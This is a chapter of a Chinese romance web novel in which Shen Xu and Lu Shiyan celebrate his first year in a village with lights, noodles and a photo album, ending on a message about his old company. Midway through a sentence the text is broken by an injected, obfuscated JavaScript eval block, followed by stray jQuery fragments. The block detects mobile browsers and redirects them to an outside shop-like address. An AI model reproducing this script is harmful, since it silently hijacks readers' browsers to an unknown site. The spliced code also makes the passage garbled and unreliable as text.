沈叙注意日期那天，是在处理邮件的时候。屏幕上弹出一个日程提醒，他随手点开看了一眼，然后愣在那里。


    十一月十五号。


    他放下鼠标，靠在椅背上，盯着窗外那棵叶子已经落了大半的老槐树，脑子里开始倒带。


    第一次来这个村子，是去年十一月十六号。


    一年了。


    他坐在那里，看着窗外的老槐树，忽然觉得时间过得好快。快得好像昨天才来，但是好像已经过了很久很久。


    书房门被推开，陆时砚端着两杯茶走进来，把一杯放在他面前:“想什么呢？”


    沈叙抬头看他。


    阳光从窗户照进来，落在他身上，把他整个人都镀上一层暖金色。他穿着那件洗得发白的灰毛衣，头发比刚认识的时候长了一点，在脑后随意地扎了一下。眼睛还是那么好看。


    “在想，今天几号。”


    陆时砚愣了一下，然后拿起手机看了一眼，“十五号。怎么了？”


    沈叙说：“明天是我来这儿一年的日子。”


    陆时砚的动作顿了顿，他看着沈叙，沉默了几秒，然后说：“我记得。”


    陆时砚在他旁边坐下，把那杯茶往他面前推了推。


    “去年十一月十六号，下午三点多。”


    他记得那么清楚。


    “你怎么知道那天我会来？”他问。


    陆时砚说：“你说那天到。我就等着。”很简单的回答。


    等一天，从早上等到下午，不知道那个人会不会来，不知道来了之后会怎么样，不知道一切会不会顺利。


    窗外，老槐树的叶子被风吹落，一片一片，慢慢飘下来。


    第二天早上，沈叙睁开眼睛的时候，发现旁边是空的。


    他爬起来，推开门，然后愣在原地。


    院子里挂满了小灯，暖黄色的小串灯从老槐树的枝丫上垂下来，在晨光里一闪一闪的。那些灯把整个院子都照亮了，照得那棵老槐树像是披了一层金色的纱。


    陆时砚站在树下，手里还拿着一串没挂完的灯。看见他出来，嘴角弯起来。


    “醒了？”


    沈叙站在那里，看着树下那个人陆时砚走过来，站在他面前。


    “周年快乐。”他说。


    沈叙看着他，看着他那双被晨光照亮的眼睛，伸手把他拉进怀里。


    陆时砚被他抱得有点意外，但很快就放松下来，靠在他肩上，手环着他的腰。沈叙把脸埋在他颈窝里，声音闷闷的：“你怎么不早说？”


    陆时砚说：“说了就不是惊喜了。”


    沈叙抱紧他。


    那些灯在晨风里轻轻晃动，把两个人的影子拉得很长。村霸从墙角走过来，蹲在他们脚边，仰着头看着他们，“嘎”了一声。


    早饭是陆时砚做的，比平时丰盛得多。有沈叙爱吃的煎蛋，有他学会之后经常点的那个粥，还有一碗长寿面，面上卧着一个荷包蛋，几片青菜，热气腾腾的。


    沈叙看着那碗面，愣了一下。


    “长寿面？”


    陆时砚点点头。


    “今天是你来这儿一年的日子，也算是……新生吧。”


    沈叙听着这话，心里又是一阵潮涌。


    新生。


    是啊，可不就是新生吗？


    他低头吃面，吃了几口，说：“谢谢你收留我。”


    陆时砚的勾唇轻笑，“不是收留，傻瓜。”他说，“是欢迎。”


    吃完饭，陆时砚说有个礼物要给他。


    沈叙跟着他走进书房，看见书桌上放着一个厚厚的本子。封面是深蓝色的布纹，摸起来很舒服。他翻开第一页，看见上面贴着一张照片。


    是他第一天来的时候，站在院子里，穿着西装，被村霸追着跑的那一幕。不知道什么时候被拍下来的，但那个狼狈的样子，他自己看了都想笑。


    照片下面有一行字，是陆时砚的笔迹：“2027年11月16日。他来了。”沈叙愣了一下，继续往下翻。


    第二页，是他第一次做饭的照片。锅里那团黑乎乎的东西，他记得，是红烧肉变成的碳。照片旁边写着：“第一次做饭。失败。但很认真。”


    第三页，是他学打鸡蛋的样子。蛋液糊了一手，表情很崩溃。旁边写着：“第一次打鸡蛋。失败三次。没放弃。”


    第四页，是他包的那些饺子，奇形怪状，像一群伤员。旁边写着：“第一次包饺子。很丑。能吃。”


    第五页，是他举着反光板站在山坡上，阳光把他的轮廓照得很亮。旁边写着：“第一次当助理。很认真。做得很好。”


    一页一页翻下去，全是他的照片。


    他做饭的，他种菜的，他剪片子的，他和村霸斗智斗勇的，他站在垭口上看日出的，他靠在陆时砚肩上睡着的。


    每一张都有一个日期，一段话。那些话不长，每一句都落在他心上。


    翻到最后一页，是一张合影。


    是那天在贡嘎拍的，他们站在垭口上，身后是日照金山。他不知道这张照片是谁拍的，但两个人都看着镜头，都在笑。


    照片下面写着：


    “2028年11月16日。一年了。他还在。我也在。以后也一直在。”


    沈叙看着那行字，眼眶忽然红了。


    他把本子合上，抬头看向陆时砚。


    陆时砚正看着他，眼睛里有很多东西。


    沈叙站起来，走过去，把他抱住，陆时砚轻轻拍着他的背。


    “这一年，”沈叙的声音有点哑，“是我这辈子最好的时间。”


    陆时砚把他抱得更紧了一点：“以后都是最好的时间。”


    窗外的阳光很好，照进书房里，落在他们身上。村霸从门口探进一个脑袋，看看他们，又缩回去了。


    那天下午，他们坐在院子里，翻那本相册。


    一页一页，慢慢地翻。


    沈叙看着那些照片，想起每一个瞬间。那些笨拙的、狼狈的、好笑的、温暖的瞬间。那些他以为很平常却被另一个人记下来的瞬间。


    他忽然问：“你什么时候开始拍的？”


    陆时砚想了想，说：“你来之后没多久。”


    “啊？这么早。”


    陆时砚说：“你第一次做饭的时候，我就想拍。后来忘了。第二次你包饺子，我拍了。再后来，就习惯了。”他看着沈叙，“想把你做的事都记下来。”


    沈叙听着这话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330031|198711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，心里又是一阵软。他靠在他肩上，看着那些照片。太阳慢慢西斜，把他们俩的影子印在地上。村霸趴在他们脚边，偶尔动一动耳朵。晚霞开始铺开，把整个院子染成暖金色。


    沈叙说：“明年这个时候，我们还在吗？”陆时砚转头不解地看他，“我是说，这个院子，这些人，这些事。还在吗？”


    陆时砚沉默了一会儿，说：“在。”他看着远处的晚霞，声音很轻。


    “只要你想在，就在。”


    沈叙握紧他的手


    。


    晚霞越来越浓，把天边染成橘红色。老槐树的叶子在风里沙沙响，一片一片落下来，落在他们脚边，村霸翻了个身，发出满足的咕噜声。


    沈叙想了想，说：“我在想以后。”他看着远处的晚霞，“以后的路，怎么走。”


    沈叙说：“我想把拍视频这件事，做得更认真一点。”他看着陆时砚，“你拍的那些东西那么好，应该被更多人看见。我能帮你做的，不只是举反光板、回邮件。我可以帮你策划，帮你运营，帮你把那些东西重新推出去。”


    陆时砚看着他那双认真的眼睛，一时语塞。


    “你想好了？”


    沈叙点点头，“想好了。”


    陆时砚没说话，只是伸手，揉了揉他的头发。


    晚霞慢慢褪去，天边只剩最后一抹橘红。星星开始亮起来，一颗一颗，密密麻麻。


    沈叙靠在陆时砚肩上，看着那些星星。


    他忽然想起去年这个时候，他还一个人坐在出租屋里，吃着泡面，看着天花板，不知道明天会怎么样。


    现在他坐在这里，旁边是他爱的人，脚边是他的鹅，怀里是一本记录了一整年的相册。


    以后，会更好。


    月亮升起来的时候，他们还在院子里坐着。


    村霸已经睡着了，发出轻轻的呼噜声。晚风有点凉，但沈叙不觉得冷，因为旁边那个人一直握着他的手。


    陆时砚说：“明天开始，我们做点不一样的。你说的那些，策划，运营，推广。我们一起做。”他看着沈叙的眼睛，“你负责想，我负责拍。我们一起把它做好。”


    “好。”


    远处传来狗叫，一声两声，然后安静下去。


    “对了，村霸的生日是什么时候？”


    陆时砚愣了一下。


    沈叙说：“它也是一条命。也该有生日。”


    陆时砚想了想，说：“捡它的时候是春天。大概三四月吧。”


    沈叙点点头，“那明年春天，给它过个生日。”


    村霸在睡梦中动了一下，像是听见了自己的名字。


    陆时砚看着它那副样子，嘴角弯起来。


    “好。”


    沈叙靠在椅背上，看着天上的星星。


    忽然，他感觉到口袋里手机震了一下，他拿出来看了一眼，是一条来自一个陌生号码的消息。


    “沈叙，是我，老周。公司的事有进展了。方便的时候给我回个电话。”


    沈叙看着那条消息，手指停在屏幕上。


    陆时砚凑过来看了一眼。


    两人对视了一眼。


    村霸在睡梦中翻了个身，发出轻轻的咕噜声。